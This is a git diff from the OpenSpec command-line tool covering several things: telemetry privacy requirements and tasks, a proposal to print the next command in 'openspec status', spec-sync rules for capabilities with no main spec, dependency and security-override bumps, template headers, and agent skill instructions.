The disclosure SHALL describe only what the shipped code guarantees. Events reach a first-party endpoint that terminates TLS, so it necessarily observes the connecting address in transit, and no payload flag changes that. Claiming the proxy does not log addresses would be asserting an infrastructure fact a reader cannot verify and this repository cannot enforce — so the disclosure SHALL state the two flags and the transit caveat instead.
|
||||
|
||||
The ingest proxy SHOULD additionally be configured not to log client addresses. That is an operational commitment, not a property of this code, and the disclosure SHALL NOT present it as one.
|
||||
|
||||
Event timestamps SHALL be UTC and SHALL carry no local UTC offset, which combined with the rest of the context would locate the user.
|
||||
|
||||
#### Scenario: Every event suppresses address and location
|
||||
- **WHEN** the system sends any telemetry event
|
||||
- **THEN** the payload carries `$ip: null` and `$geoip_disable: true`
|
||||
|
||||
#### Scenario: The disclosure does not claim an infrastructure fact
|
||||
- **WHEN** the disclosure describes IP handling
|
||||
- **THEN** it states the two payload flags and that the endpoint sees the address in transit
|
||||
- **AND** does not assert that the proxy keeps no logs
|
||||
|
||||
#### Scenario: No derived location
|
||||
- **WHEN** an event is stored
|
||||
- **THEN** no property derived from the connecting address is attached to it
|
||||
|
||||
### Requirement: Public disclosure parity
|
||||
The public disclosure SHALL enumerate every event, every property, and every persisted field the system uses. A change that adds, removes, or renames any of these SHALL update the disclosure in the same change.
|
||||
|
||||
The disclosure lives in `README.md`, `SECURITY.md`, and the environment-variable reference. Each SHALL state the full property list, the opt-out mechanisms, the deletion route, and `OPENSPEC_TELEMETRY_DEBUG=1` as the way to verify the list locally.
|
||||
|
||||
The property allowlist constant SHALL be the source the disclosure is checked against, and a test SHALL fail when a property exists in the allowlist that is absent from the disclosure documents. An unenforced documentation requirement decays within two releases.
|
||||
|
||||
Where a change narrows or removes an existing published privacy commitment, it SHALL record the removal in the changelog under a `Privacy` heading, naming the previous commitment and what replaces it. Editing the commitment without that record SHALL NOT satisfy this requirement.
|
||||
|
||||
This change is itself an instance: `SECURITY.md` currently promises "no environment," and `README.md` promises "only command names and version." Adding platform, Node major, and install kind ends both commitments, and that has to be stated rather than quietly edited.
|
||||
|
||||
#### Scenario: Disclosure matches the code
|
||||
- **WHEN** the event property allowlist changes
|
||||
- **THEN** the disclosure documents are updated in the same change
|
||||
- **AND** a test fails if any allowlisted property is undocumented
|
||||
|
||||
#### Scenario: An existing commitment is narrowed
|
||||
- **WHEN** a change makes a previously published privacy commitment untrue
|
||||
- **THEN** the changelog records the previous commitment and what replaces it under a `Privacy` heading
|
||||
|
||||
#### Scenario: Disclosure names the verification path
|
||||
- **WHEN** a user reads the telemetry disclosure
|
||||
- **THEN** it tells them how to print the events locally rather than asking them to take the list on trust
|
||||
|
||||
## MODIFIED Requirements
|
||||
|
||||
### Requirement: Privacy-preserving event design
|
||||
The property allowlist is authoritative; the exclusions below are illustrative of what it already forbids. A blocklist fails on the item nobody thought of, which is why the allowlist exists.
|
||||
|
||||
The system SHALL NOT include command arguments, file paths, project names, spec content, error messages, or IP addresses in telemetry events.
|
||||
|
||||
The system SHALL additionally exclude: change ids, spec ids, schema ids, artifact ids, store ids, store remotes, store branches, store local paths, `defaultStore`, `featureFlags` keys, `openers` content, environment variable names and values, hostnames, usernames, and git remotes.
|
||||
|
||||
Every event name, property key, and property value SHALL satisfy the bounded property contract.
|
||||
|
||||
#### Scenario: Command with arguments
|
||||
- **WHEN** a user runs `openspec init my-project --force`
|
||||
- **THEN** the telemetry event contains only allowlisted properties and no argument values
|
||||
|
||||
#### Scenario: IP address exclusion
|
||||
- **WHEN** the system sends a telemetry event
|
||||
- **THEN** the event explicitly sets `$ip: null` to prevent IP tracking
|
||||
- **AND** sets `$geoip_disable: true` so no location is derived from the connecting address
|
||||
|
||||
#### Scenario: Named item in a command
|
||||
- **WHEN** a user runs `openspec archive acme-billing-rewrite`
|
||||
- **THEN** no event property contains `acme-billing-rewrite`
|
||||
|
||||
#### Scenario: Store-backed run
|
||||
- **WHEN** a command runs against a store whose remote is a private git URL
|
||||
- **THEN** no event property contains the store id, the remote, or any path
|
||||
|
||||
### Requirement: Command execution tracking
|
||||
The system SHALL send a `command_executed` event to PostHog when any CLI command executes, including the command name, OpenSpec version, surface, `run_id`, and `work_session_id` as properties.
|
||||
|
||||
This event is retained despite `command_completed` covering every reachable exit path, because it is the only detector of a run that died so hard the completion hook never ran. If the completion coverage has a gap, only the unmatched pair reveals it — and a systematic blind spot in failure reporting is the exact defect this change exists to remove.
|
||||
|
||||
#### Scenario: Standard command execution
|
||||
- **WHEN** a user runs any openspec command
|
||||
- **THEN** the system sends a `command_executed` event with `command`, `version`, `surface`, `run_id`, and `work_session_id` properties
|
||||
|
||||
#### Scenario: Subcommand execution
|
||||
- **WHEN** a user runs a nested command like `openspec change apply`
|
||||
- **THEN** the system sends a `command_executed` event with the full command path (e.g., `change:apply`)
|
||||
|
||||
#### Scenario: Unmatched start event
|
||||
- **WHEN** a `command_executed` event has no matching `command_completed` with the same `run_id`
|
||||
- **THEN** the gap is attributable to an exit path the completion coverage does not reach
|
||||
|
||||
### Requirement: First-run telemetry notice
|
||||
The system SHALL display a one-line telemetry disclosure notice on the first command execution, before any telemetry is sent. In `--json` mode the system SHALL NOT display the notice on that run and SHALL leave the notice state unset, deferring the disclosure to the first later non-JSON run.
|
||||
|
||||
The telemetry config section SHALL record which version of the notice a user has seen. When the disclosed collection scope expands, the system SHALL show a notice naming what changed, once, and record the new notice version.
|
||||
|
||||
The system SHALL NOT reset the seen state to re-notify. Resetting discards the knowledge that the user was told, and shows a generic sentence to someone who already read it, which teaches them to ignore it. A versioned notice distinguishes "never told" from "told about an earlier scope," and lets the new message say what actually changed.
|
||||
|
||||
The notice SHALL NOT describe the data as anonymous without qualification.
|
||||
|
||||
#### Scenario: First command execution
|
||||
- **WHEN** a user runs their first openspec command without `--json`
|
||||
- **AND** telemetry is enabled
|
||||
- **THEN** the system displays the disclosure notice, naming the opt-out
|
||||
|
||||
#### Scenario: Subsequent command execution
|
||||
- **WHEN** a user has already seen the current notice version
|
||||
- **THEN** the system does not display the notice
|
||||
|
||||
#### Scenario: Notice before telemetry
|
||||
- **WHEN** displaying the first-run notice
|
||||
- **THEN** the notice appears before any telemetry event is sent
|
||||
|
||||
#### Scenario: First command execution in JSON mode
|
||||
- **WHEN** a user's first openspec command passes `--json`
|
||||
- **AND** telemetry is enabled
|
||||
- **THEN** the system displays no notice on stdout
|
||||
- **AND** the notice state remains unset
|
||||
|
||||
#### Scenario: Disclosure deferred, not skipped
|
||||
- **WHEN** a user's first run was in `--json` mode and displayed no notice
|
||||
- **AND** the user later runs a command without `--json`
|
||||
- **THEN** the system displays the disclosure notice on that later run
|
||||
|
||||
#### Scenario: Collection scope expands
|
||||
- **WHEN** the disclosed property list expands in a release
|
||||
- **AND** a user has seen an earlier notice version
|
||||
- **THEN** the system displays a notice naming what changed, once
|
||||
- **AND** records the new notice version
|
||||
@@ -1,55 +0,0 @@
|
||||
# Tasks
|
||||
|
||||
## 1. Property contract
|
||||
- [x] 1.1 Add `src/telemetry/properties.ts`: the event-name, property-key, and value allowlists, the error-class union, the diagnostic-code map, and the bucketers — all literal declarations, never computed from a schema
|
||||
- [x] 1.2 Enforce the allowlist immediately before serialization: drop unknown keys and out-of-set values, send the event regardless
|
||||
- [x] 1.3 Test: a property key built from a schema, change, or store name is dropped and the event still sends
|
||||
- [x] 1.4 Test: an unrecognized diagnostic code maps to `other` and never appears in the payload
|
||||
|
||||
## 2. Correlation and outcome
|
||||
- [x] 2.1 Generate a per-invocation `run_id`; add `work_session_id` with a 30-minute reuse window
|
||||
- [x] 2.2 Emit `command_completed` from `postAction` with outcome, error class, bucketed exit code, and bucketed duration excluding prompt-blocked time
|
||||
- [x] 2.3 Classify in `failWithError`/`emitFailure` so `postAction` reads a class, not an error object; unclassified means `internal_error`
|
||||
- [x] 2.4 Persist and attach `previous_outcome` and `previous_command_same`
|
||||
- [x] 2.5 Test: success, user error, internal error, and Ctrl-C each produce the expected outcome and class
|
||||
|
||||
## 3. Outcome coverage
|
||||
- [x] 3.1 Convert the `process.exit()` call sites in `src/cli/index.ts`, `src/core/view.ts`, `src/core/init.ts`, `src/commands/feedback.ts`, and the `config` group guard to set `process.exitCode` and return, or to report and flush where they cannot
|
||||
- [x] 3.2 Intercept commander's usage errors so unknown commands and bare groups emit `bad_usage`, preserving commander's exit code
|
||||
- [x] 3.3 Handle an escaped rejection as `internal_error` while preserving existing exit behavior
|
||||
- [x] 3.4 Ensure a cancelled run never waits on a telemetry request
|
||||
- [x] 3.5 Assert no telemetry path prompts, blocks, or writes to stdout
|
||||
- [x] 3.6 Test end to end against the built binary: one `command_completed` per invocation, `--help`/`--version` emit none, exit codes unchanged
|
||||
|
||||
## 4. Run context
|
||||
- [x] 4.1 Collect the bounded context; count tools rather than naming them; derive `invoker` from a compile-time marker list without sending any env name or value
|
||||
- [x] 4.2 Bucket the change count from a single non-recursive directory read, discarding names
|
||||
- [x] 4.3 Cap the invocation at four events
|
||||
- [x] 4.4 Test: a user-named schema, store, change, and tool set never appear in any payload
|
||||
|
||||
## 5. Milestones and persisted state
|
||||
- [x] 5.1 Persist the milestone set, first-seen time, reported tool set, work session, and previous outcome; write none of it when telemetry is disabled
|
||||
- [x] 5.2 Emit `milestone_reached` once per milestone with `version` and `time_to_reach`, omitting the bucket for ids that predate the recorded time
|
||||
- [x] 5.3 Emit `tool_configured` once per registry tool id, carrying no run context
|
||||
- [x] 5.4 Test: the milestone fires once, never on failure, and an opted-out run leaves the config untouched
|
||||
- [x] 5.5 Test: `tool_configured` fires once per tool and carries no context property
|
||||
|
||||
## 6. Inspection and controls
|
||||
- [x] 6.1 Add `OPENSPEC_TELEMETRY_DEBUG=1` — print payloads to stderr, send nothing, work when opted out, never create an anonymous id
|
||||
- [x] 6.2 Surface state through `openspec config get telemetry`: enabled, id, file path
|
||||
- [x] 6.3 Test: debug mode prints, sends nothing, leaves `--json` stdout valid, and writes no config
|
||||
|
||||
## 7. Disclosure
|
||||
- [x] 7.1 Update `README.md`, `SECURITY.md`, and the environment-variable reference with every event, property, and persisted field, the retention period, the deletion contact, and the debug flag
|
||||
- [x] 7.2 Replace unqualified "anonymous" with "pseudonymous" in the docs and the notice; state that the id identifies a config directory, not a person
|
||||
- [x] 7.3 Record the narrowed "no environment" and "only command names and version" commitments in `CHANGELOG.md` under a `Privacy` heading
|
||||
- [x] 7.4 Add `noticeVersion` and a one-line notice naming what changed for users who saw the earlier scope
|
||||
- [x] 7.5 Test: an allowlisted property absent from the disclosure documents fails the build
|
||||
|
||||
## 8. Ingest
|
||||
- [ ] 8.1 Confirm the `edge.openspec.dev` proxy does not log or forward client IPs; disable GeoIP enrichment on the telemetry project
|
||||
- [ ] 8.2 Publish the retention period and configure it in PostHog
|
||||
|
||||
## 9. Known gaps
|
||||
- [ ] 9.1 `src/ui/welcome-screen.ts` exits 0 from inside a keypress handler on Ctrl-C, so that cancellation is not reported. Undercounts `cancelled` on the welcome screen only.
|
||||
- [ ] 9.2 `store_in_use` and `install_kind` are heuristics: a project with both a local root and a store reports `store_in_use: false`, and a checkout outside a recognizable path reports `install_kind: other`. Directionally right, not exact.
|
||||
@@ -0,0 +1,2 @@
|
||||
schema: spec-driven
|
||||
created: 2026-09-04
|
||||
@@ -0,0 +1,44 @@
|
||||
# Name the command that resumes a change
|
||||
|
||||
## Why
|
||||
|
||||
`openspec status` reported where a change stood and stopped there. The command
|
||||
that moves it forward was already computed: `buildNextSteps` derives it and
|
||||
`--json` publishes it as `nextSteps`. But the text surface never rendered it.
|
||||
|
||||
So the surface a person actually reads ended on a checklist. `openspec new
|
||||
change` hands off with `Next: openspec status --change <name>`, and that next
|
||||
command then had no verb of its own. Picking a change back up after a lost
|
||||
session, or opening one somebody else started, meant already knowing which
|
||||
command came next (#906).
|
||||
|
||||
The completion case was the worst of it. Once every planning artifact existed,
|
||||
status printed a lone green "All planning artifacts complete!", which reads as
|
||||
*you are done* even while `tasks.md` sits half-checked. That is what #906
|
||||
reports: every artifact showed `done` rather than `ready`, so the conclusion was
|
||||
that nothing was left to run.
|
||||
|
||||
## What Changes
|
||||
|
||||
- `openspec status` ends with a `Next:` line naming one command: the next ready
|
||||
artifact's `openspec instructions` call while planning is unfinished, and
|
||||
`openspec instructions apply` once every planning artifact exists.
|
||||
- The line carries `--store <id>` whenever the resolved root is a store. A
|
||||
command without the flag would resolve against the pointer repo instead of the
|
||||
store the status was read from.
|
||||
- `--all` gives every change in the sweep its own line, and gives none to an
|
||||
entry that failed to load, since a failed entry has no artifact statuses to reason
|
||||
about.
|
||||
- The line is built from the same resolution as the JSON `nextSteps` sentence,
|
||||
so the two surfaces cannot name different commands. `nextSteps` itself is
|
||||
unchanged, character for character.
|
||||
|
||||
No new command, no new flag, no new JSON field. This renders a value the agent
|
||||
contract already publishes.
|
||||
|
||||
## Impact
|
||||
|
||||
- Affected specs: `cli-artifact-workflow` (MODIFIED: Next Artifact Discovery)
|
||||
- Affected code: `src/commands/workflow/status.ts`,
|
||||
`src/core/change-status-policy.ts`
|
||||
- Affected docs: `docs/cli.md` (the status text output example)
|
||||
@@ -0,0 +1,37 @@
|
||||
## MODIFIED Requirements
|
||||
|
||||
### Requirement: Next Artifact Discovery
|
||||
|
||||
The workflow SHALL use `openspec status` output to determine what can be created next, rather than a separate next-command surface.
|
||||
|
||||
#### Scenario: Discover next artifacts from status output
|
||||
|
||||
- **WHEN** a user needs to know which artifact to create next
|
||||
- **THEN** `openspec status --change <id>` identifies ready artifacts with `[ ]`
|
||||
- **AND** the first `[ ]` entry is the schema's recommended next artifact
|
||||
- **AND** no dedicated "next command" is required to continue the workflow
|
||||
|
||||
#### Scenario: Status names the command that moves the change forward
|
||||
|
||||
- **WHEN** a user runs `openspec status --change <id>` in text mode and a next step resolves
|
||||
- **THEN** the output ends with a `Next:` line naming exactly one command to run
|
||||
- **AND** that command is `openspec instructions <artifact> --change "<id>" --json` for the first ready artifact while any planning artifact is still ready
|
||||
- **AND** it is `openspec instructions apply --change "<id>" --json` once every planning artifact exists, printed after the completion line rather than in place of it, because that line alone reads as "you are done" while implementation tasks remain
|
||||
- **AND** the named artifact is never one the change skipped, which satisfies its dependents but must not be created
|
||||
- **AND** the artifact id comes from the resolved schema, so a project whose schema declares neither of the default artifact names still gets a usable command
|
||||
|
||||
#### Scenario: The named command carries the store selection
|
||||
|
||||
- **WHEN** the resolved root is a store
|
||||
- **THEN** the `Next:` command includes `--store <id>`, so it resolves against the same root the status was read from rather than the pointer repo
|
||||
|
||||
#### Scenario: Both surfaces name the same command
|
||||
|
||||
- **WHEN** a next step resolves
|
||||
- **THEN** the command printed on the `Next:` line and the command inside the JSON `nextSteps` sentence are derived from one resolution, so the two surfaces cannot name different commands
|
||||
- **AND** the `Next:` line never appears in `--json` output, which stays parseable
|
||||
|
||||
#### Scenario: No next step resolves
|
||||
|
||||
- **WHEN** no artifact is ready and planning is not complete, or a change in an `--all` sweep failed to load
|
||||
- **THEN** no `Next:` line is printed for it, rather than a guessed or shared command
|
||||
@@ -0,0 +1,17 @@
|
||||
# Tasks
|
||||
|
||||
## 1. Resolve the next step once
|
||||
- [x] 1.1 Extract `resolveNextStep` returning the command and the sentence, leaving `buildNextSteps` returning exactly that sentence so the JSON contract is unchanged
|
||||
- [x] 1.2 Pin the published sentences verbatim in a unit test, so splitting command from sentence cannot reword the contract
|
||||
|
||||
## 2. Render it on the text surface
|
||||
- [x] 2.1 Print a `Next:` line from the resolved command, after the completion line rather than in place of it
|
||||
- [x] 2.2 Thread the store selection into the renderer so the command carries `--store`
|
||||
- [x] 2.3 Give every change in an `--all` sweep its own line, and a failed entry none
|
||||
|
||||
## 3. Cover the behavior
|
||||
- [x] 3.1 Assert the ready, planning-complete, skipped, and custom-schema cases end to end
|
||||
- [x] 3.2 Assert the printed command appears verbatim inside the JSON sentence, and that the line never leaks into `--json`
|
||||
|
||||
## 4. Record it
|
||||
- [x] 4.1 Update the `cli-artifact-workflow` spec delta and the `docs/cli.md` status output example
|
||||
@@ -82,6 +82,52 @@ The skill SHALL prompt to sync delta specs before archiving if specs exist.
|
||||
- **AND** stop without archiving if the sync fails or any capability does not verify
|
||||
- **AND** archive only after verification passes, or when the user explicitly chose to archive without syncing or to archive already-synced specs
|
||||
|
||||
#### Scenario: Applicable ADDED delta whose main spec does not exist yet
|
||||
|
||||
- **WHEN** agent compares a delta spec against its main spec at `openspec/specs/<capability-path>/spec.md`
|
||||
- **AND** that main spec does not exist yet
|
||||
- **AND** the delta has `## ADDED Requirements`
|
||||
- **AND** the delta has no `## MODIFIED Requirements` or `## RENAMED Requirements`
|
||||
- **THEN** count that capability as needing sync rather than as already synced
|
||||
- **AND** name it in the summary as a main spec the sync will create
|
||||
- **AND** never treat the missing main spec as nothing to apply
|
||||
- **AND** if the delta also has `## REMOVED Requirements`, warn that they will be ignored because there is no main spec to remove them from
|
||||
- **AND** create the main spec from only the delta's `## ADDED Requirements`
|
||||
|
||||
#### Scenario: Unsupported delta operation whose main spec does not exist yet
|
||||
|
||||
- **WHEN** a delta targets a capability whose main spec does not exist yet
|
||||
- **AND** the delta has `## MODIFIED Requirements` or `## RENAMED Requirements`
|
||||
- **THEN** report that only ADDED requirements can create a new main spec
|
||||
- **AND** mark the capability as sync-blocked without writing a main spec
|
||||
|
||||
#### Scenario: Explicitly retired capability whose main spec is missing
|
||||
|
||||
- **WHEN** a delta contains only `## REMOVED Requirements` and its main spec is missing
|
||||
- **AND** the change's `.openspec.yaml` declares `retire_capabilities: true`
|
||||
- **THEN** count that capability as already synced and report that it is already retired
|
||||
- **AND** warn that there is nothing left to remove and do not recreate the main spec
|
||||
- **AND** apply the same rule when verifying a completed sync, so retiring a capability does not block archiving
|
||||
|
||||
#### Scenario: Nothing to put in a missing main spec without a declared retirement
|
||||
|
||||
- **WHEN** a delta targets a capability whose main spec does not exist yet
|
||||
- **AND** the delta has no `## ADDED Requirements`
|
||||
- **AND** it is not a REMOVED-only delta with `retire_capabilities: true`
|
||||
- **THEN** report that no sync is possible
|
||||
- **AND** if the delta has only `## REMOVED Requirements`, warn that there is no main spec to remove them from and leave the main-spec tree unchanged
|
||||
- **AND** mark the capability as sync-blocked, since the verification pass would re-read the same missing spec
|
||||
|
||||
#### Scenario: Sync-blocked capability during archive assessment
|
||||
|
||||
- **WHEN** any capability is sync-blocked during the initial assessment
|
||||
- **THEN** assess the remaining capabilities and summarize the blockers before prompting
|
||||
- **AND** offer only "Archive without syncing" and "Cancel"
|
||||
- **AND** archive without writing main specs only if the user explicitly chooses "Archive without syncing"
|
||||
- **AND** stop without archiving if the user cancels
|
||||
- **AND** do not start any sync while a capability is blocked, even if other capabilities could sync
|
||||
- **AND** a failed sync or post-sync verification still stops without archiving; do not silently fall back to skipping sync
|
||||
|
||||
#### Scenario: No delta specs
|
||||
|
||||
- **WHEN** agent checks for delta specs
|
||||
|
||||
@@ -71,10 +71,27 @@ The agent SHALL reconcile main specs with delta specs using the delta operation
|
||||
|
||||
#### Scenario: New capability spec
|
||||
- **WHEN** delta spec exists for a capability not in main specs
|
||||
- **AND** it has ADDED requirements and no MODIFIED or RENAMED requirements
|
||||
- **THEN** create new main spec file at `openspec/specs/<capability-path>/spec.md`, preserving the delta's path relative to `specs/`
|
||||
- **AND** copy the delta's `## Purpose` body into it when the delta has one, matching what `openspec archive` does
|
||||
- **AND** write a brief TBD placeholder Purpose only when the delta has none
|
||||
|
||||
#### Scenario: MODIFIED or RENAMED against a capability with no main spec
|
||||
- **WHEN** delta contains `## MODIFIED Requirements` or `## RENAMED Requirements`
|
||||
- **AND** the capability has no main spec yet
|
||||
- **THEN** stop the sync for that capability and report that only ADDED requirements are allowed for a new spec, matching what `openspec archive` does
|
||||
- **AND** never invent the missing requirement
|
||||
- **AND** skip any `## REMOVED Requirements` with a warning, since there is nothing to remove
|
||||
|
||||
#### Scenario: Nothing to put in a new spec
|
||||
- **WHEN** a delta targets a capability with no main spec
|
||||
- **AND** the delta has no `## ADDED Requirements` to seed it with
|
||||
- **THEN** create no main spec and leave the specs directory untouched
|
||||
- **AND** for a REMOVED-only delta with `retire_capabilities: true` in the change's `.openspec.yaml`, report the capability as already retired and continue without recreating it
|
||||
- **AND** without that marker, report a REMOVED-only sync as blocked, matching `openspec archive`, which aborts with `Spec must have at least one requirement`
|
||||
- **AND** report an empty delta as blocked because it has no operations to sync
|
||||
- **AND** never write an empty `## Requirements` section
|
||||
|
||||
#### Scenario: Merged main spec keeps canonical structure
|
||||
- **WHEN** the agent writes a main spec during sync
|
||||
- **THEN** every requirement lives under a single `## Requirements` section
|
||||
|
||||
+4
-9
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "@fission-ai/openspec",
|
||||
"version": "1.13.0",
|
||||
"version": "1.13.1",
|
||||
"description": "AI-native system for spec-driven development",
|
||||
"keywords": [
|
||||
"openspec",
|
||||
@@ -63,28 +63,23 @@
|
||||
"@changesets/changelog-github": "^1.0.0",
|
||||
"@changesets/cli": "^3.0.1",
|
||||
"@types/node": "^20.19.43",
|
||||
"@vitest/ui": "^3.2.6",
|
||||
"@vitest/ui": "^4.1.11",
|
||||
"eslint": "^10.5.0",
|
||||
"smol-toml": "^1.7.1",
|
||||
"typescript": "^6.0.3",
|
||||
"typescript-eslint": "^8.65.0",
|
||||
"vitest": "^3.2.6"
|
||||
"vitest": "^4.1.11"
|
||||
},
|
||||
"dependencies": {
|
||||
"@inquirer/core": "^11.2.1",
|
||||
"@inquirer/prompts": "^8.5.2",
|
||||
"chalk": "^5.6.2",
|
||||
"commander": "^14.0.0",
|
||||
"diff": "^9.0.0",
|
||||
"cross-spawn": "7.0.6",
|
||||
"diff": "^9.0.0",
|
||||
"fast-glob": "^3.3.3",
|
||||
"ora": "^9.4.1",
|
||||
"yaml": "^2.8.3",
|
||||
"zod": "^4.4.3"
|
||||
},
|
||||
"pnpm": {
|
||||
"onlyBuiltDependencies": [
|
||||
"esbuild"
|
||||
]
|
||||
}
|
||||
}
|
||||
|
||||
Generated
+589
-614
File diff suppressed because it is too large
Load Diff
+5
-1
@@ -2,7 +2,7 @@ packages:
|
||||
- '.'
|
||||
|
||||
allowBuilds:
|
||||
esbuild@0.28.1: true
|
||||
esbuild@0.28.2: true
|
||||
|
||||
# The only declaration of these. A `pnpm.overrides` block in package.json does not
|
||||
# merge with this list — pnpm 10 uses it *instead of* this file (verified: a lone
|
||||
@@ -22,3 +22,7 @@ overrides:
|
||||
# (transitive via postcss). Remove once transitive nanoid is >=3.3.17
|
||||
# (check: pnpm why nanoid).
|
||||
nanoid@<3.3.17: '>=3.3.17 <4'
|
||||
# GHSA-px8p-9vwx-vf98 — fflate `unzipSync` infinite loop on malformed ZIP64.
|
||||
# Dev-only (transitive via @vitest/ui); never in the published CLI. Remove once
|
||||
# transitive fflate is >=0.8.3 (check: pnpm why fflate).
|
||||
fflate@<0.8.3: '>=0.8.3 <0.9'
|
||||
|
||||
@@ -95,7 +95,7 @@ artifacts:
|
||||
- **CRITICAL**: Scenarios MUST use exactly 4 hashtags (`####`). Using 3 hashtags or bullets will fail silently.
|
||||
- Every requirement MUST have at least one scenario.
|
||||
|
||||
New capabilities only: start the delta spec with a `## Purpose` section -
|
||||
New capabilities only: the delta spec's first section is `## Purpose` -
|
||||
one or two sentences (50+ characters, or `openspec validate --strict`
|
||||
reports it as too brief) describing what the capability is for. Archive
|
||||
copies it into the main spec it creates; without it the new main spec is
|
||||
@@ -120,8 +120,10 @@ artifacts:
|
||||
Common pitfall: Using MODIFIED with partial content loses detail at archive time.
|
||||
If adding new concerns without changing existing behavior, use ADDED instead.
|
||||
|
||||
Example (a new capability, so it opens with `## Purpose`):
|
||||
Example (a new capability, so its first section is `## Purpose`):
|
||||
```
|
||||
# Spec Delta
|
||||
|
||||
## Purpose
|
||||
|
||||
Lets users take their data out of the product in a portable format.
|
||||
@@ -193,7 +195,10 @@ artifacts:
|
||||
bake an unstated assumption into the task list.
|
||||
|
||||
**IMPORTANT: Follow the template below exactly.** The apply phase parses
|
||||
checkbox format to track progress. Tasks not using `- [ ]` won't be tracked.
|
||||
checkbox format to track progress. A box holding only `x` counts as done,
|
||||
upper or lower case and with any spacing, so `- [ x]` is done too. Every
|
||||
other marker, including `- [~]`, `- [-]` and an empty `- []`, reads as
|
||||
unfinished. A line with no checkbox is not tracked at all.
|
||||
|
||||
Guidelines:
|
||||
- Group related tasks under ## numbered headings
|
||||
@@ -208,6 +213,8 @@ artifacts:
|
||||
|
||||
Example:
|
||||
```
|
||||
# Tasks
|
||||
|
||||
## 1. Setup
|
||||
|
||||
- [ ] 1.1 Create new module structure and verify expected files are present
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
# Design
|
||||
|
||||
## Context
|
||||
|
||||
<!-- Current state and constraints that shape the approach. See proposal.md for motivation - don't restate it -->
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
# Proposal
|
||||
|
||||
## Why
|
||||
|
||||
<!-- Explain the motivation for this change. What problem does this solve? Why now? -->
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
# Spec Delta
|
||||
|
||||
## Purpose
|
||||
<!-- New capabilities only: one or two sentences (50+ characters) on what this capability is for. Delete this section for an existing capability. -->
|
||||
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
# Tasks
|
||||
|
||||
## 1. <!-- Task Group Name -->
|
||||
|
||||
- [ ] 1.1 <!-- Task description -->
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-apply-change
|
||||
description: Implement tasks from an OpenSpec change. Use when the user wants to start implementing, continue implementation, or work through tasks.
|
||||
description: Implement tasks from an OpenSpec change. Use when the user wants to start implementing, continue implementation, or work through tasks. Also use when the user says "openspec apply", "opsx apply", or "openspec implement".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -13,6 +13,17 @@ Implement tasks from an OpenSpec change.
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
**Input**: Optionally specify a change name (e.g., `/openspec-apply-change add-auth`). If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
|
||||
|
||||
**Steps**
|
||||
@@ -48,9 +59,12 @@ Implement tasks from an OpenSpec change.
|
||||
- Dynamic instruction based on current state
|
||||
- Optional `context`: current required project instruction input from the selected root
|
||||
- Optional `operationGuidance`: current advisory guidance for apply
|
||||
- `missingArtifacts` (when present): required artifact ids with no output
|
||||
|
||||
**Handle states:**
|
||||
- If `state: "blocked"` (missing artifacts): show message, suggest using `/openspec-continue-change` (if it is not installed, run `openspec status --change "<name>" --json` to see the next artifact and `openspec instructions <artifact-id> --change "<name>" --json` for how to create it)
|
||||
- If `state: "blocked"`: show the message and pause implementation.
|
||||
- If `missingArtifacts` is non-empty: suggest using `/openspec-continue-change` to create them.
|
||||
- Otherwise, follow the CLI instruction to create or repair the schema-configured tracking file from existing planning artifacts. Do not assume another artifact is ready or start implementation while blocked.
|
||||
- If `state: "all_done"`: congratulate, suggest archive
|
||||
- Otherwise: proceed to implementation
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-archive-change
|
||||
description: Archive a completed change in the experimental workflow. Use when the user wants to finalize and archive a change after implementation is complete.
|
||||
description: Archive a completed OpenSpec change in the experimental workflow. Use when the user wants to finalize and archive a change after implementation is complete. Also use when the user says "openspec archive" or "opsx archive".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -13,6 +13,17 @@ Archive a completed change in the experimental workflow.
|
||||
|
||||
